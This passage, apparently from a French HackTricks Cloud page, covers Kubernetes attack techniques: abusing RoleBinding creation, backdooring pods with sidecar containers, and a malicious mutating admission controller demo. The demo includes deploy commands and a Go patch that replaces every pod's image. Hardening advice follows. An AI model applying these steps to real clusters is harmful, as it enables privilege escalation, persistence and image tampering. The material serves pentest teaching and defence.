Le privilĂšge de crĂ©er des Rolebindings permet Ă un utilisateur de lier des roles Ă un service account. Ce privilĂšge peut potentiellement conduire Ă une Ă©lĂ©vation de privilĂšges puisquâil permet Ă lâutilisateur dâattribuer des privilĂšges admin Ă un service account compromis.
Other Attacks
Sidecar proxy app
Par dĂ©faut, il nây a pas dâencryption dans la communication entre pods. Authentification mutuelle, bidirectionnelle, pod Ă pod.
Create a sidecar proxy app
Un sidecar container consiste simplement Ă ajouter un second (ou plusieurs) conteneur Ă lâintĂ©rieur dâun pod.
Par exemple, ce qui suit fait partie de la configuration dâun pod avec 2 containers :
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could give more permissions to the second container that the first wonât have.
More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Admission Controller malveillant
Un admission controller intercepte les requĂȘtes vers le Kubernetes API server avant la persistance de lâobjet, mais aprĂšs que la requĂȘte soit authentifiĂ©e et autorisĂ©e.
Si un attaquant parvient dâune maniĂšre ou dâune autre Ă injecter un Mutation Admission Controller, il pourra modifier des requĂȘtes dĂ©jĂ authentifiĂ©es. Cela peut permettre potentiellement une privesc, et, plus gĂ©nĂ©ralement, de persister dans le cluster.
Exemple provenant de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
VĂ©rifiez le statut pour voir sâil est prĂȘt :
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Ensuite, déployez un nouveau pod :
kubectl run nginx --image nginx
kubectl get po -w
Lorsque vous voyez lâerreur ErrImagePull, vĂ©rifiez le nom de lâimage avec lâune des requĂȘtes suivantes :
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Comme vous pouvez le voir sur lâimage ciâdessus, nous avons essayĂ© dâexĂ©cuter lâimage nginx mais lâimage finalement exĂ©cutĂ©e est rewanthtammana/malicious-image. Que sâestâil passĂ© !?
Détails techniques
Le script ./deploy.sh met en place un mutating webhook admission controller, qui modifie les requĂȘtes vers lâAPI Kubernetes comme spĂ©cifiĂ© dans ses lignes de configuration, ce qui explique les rĂ©sultats observĂ©s :
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
Lâextrait ciâdessous remplace la premiĂšre image de conteneur de chaque pod par rewanthtammana/malicious-image.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass
Bonnes pratiques
Désactivation du montage automatique des jetons des comptes de service
- Pods et comptes de service : Par défaut, les pods montent un jeton de compte de service. Pour renforcer la sécurité, Kubernetes permet de désactiver cette fonctionnalité de montage automatique.
- Comment appliquer : Définissez
automountServiceAccountToken: falsedans la configuration des comptes de service ou des pods Ă partir de la version 1.6 de Kubernetes.
Affectation restrictive des utilisateurs dans RoleBindings/ClusterRoleBindings
- Inclusion sélective : Assurez-vous que seuls les utilisateurs nécessaires sont inclus dans RoleBindings ou ClusterRoleBindings. Auditez réguliÚrement et supprimez les utilisateurs non pertinents pour maintenir une sécurité stricte.
RĂŽles spĂ©cifiques au namespace plutĂŽt que rĂŽles Ă lâĂ©chelle du cluster
- Roles vs. ClusterRoles : PrivilĂ©giez lâutilisation de Roles et RoleBindings pour des permissions spĂ©cifiques Ă un namespace plutĂŽt que des ClusterRoles et ClusterRoleBindings, qui sâappliquent Ă lâensemble du cluster. Cette approche offre un contrĂŽle plus fin et limite la portĂ©e des permissions.
Utiliser des outils automatisés
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub
Références
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
- nodes/proxy GET -> kubelet exec WebSocket bypass
- nodes/proxy GET detection script
- websocat
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

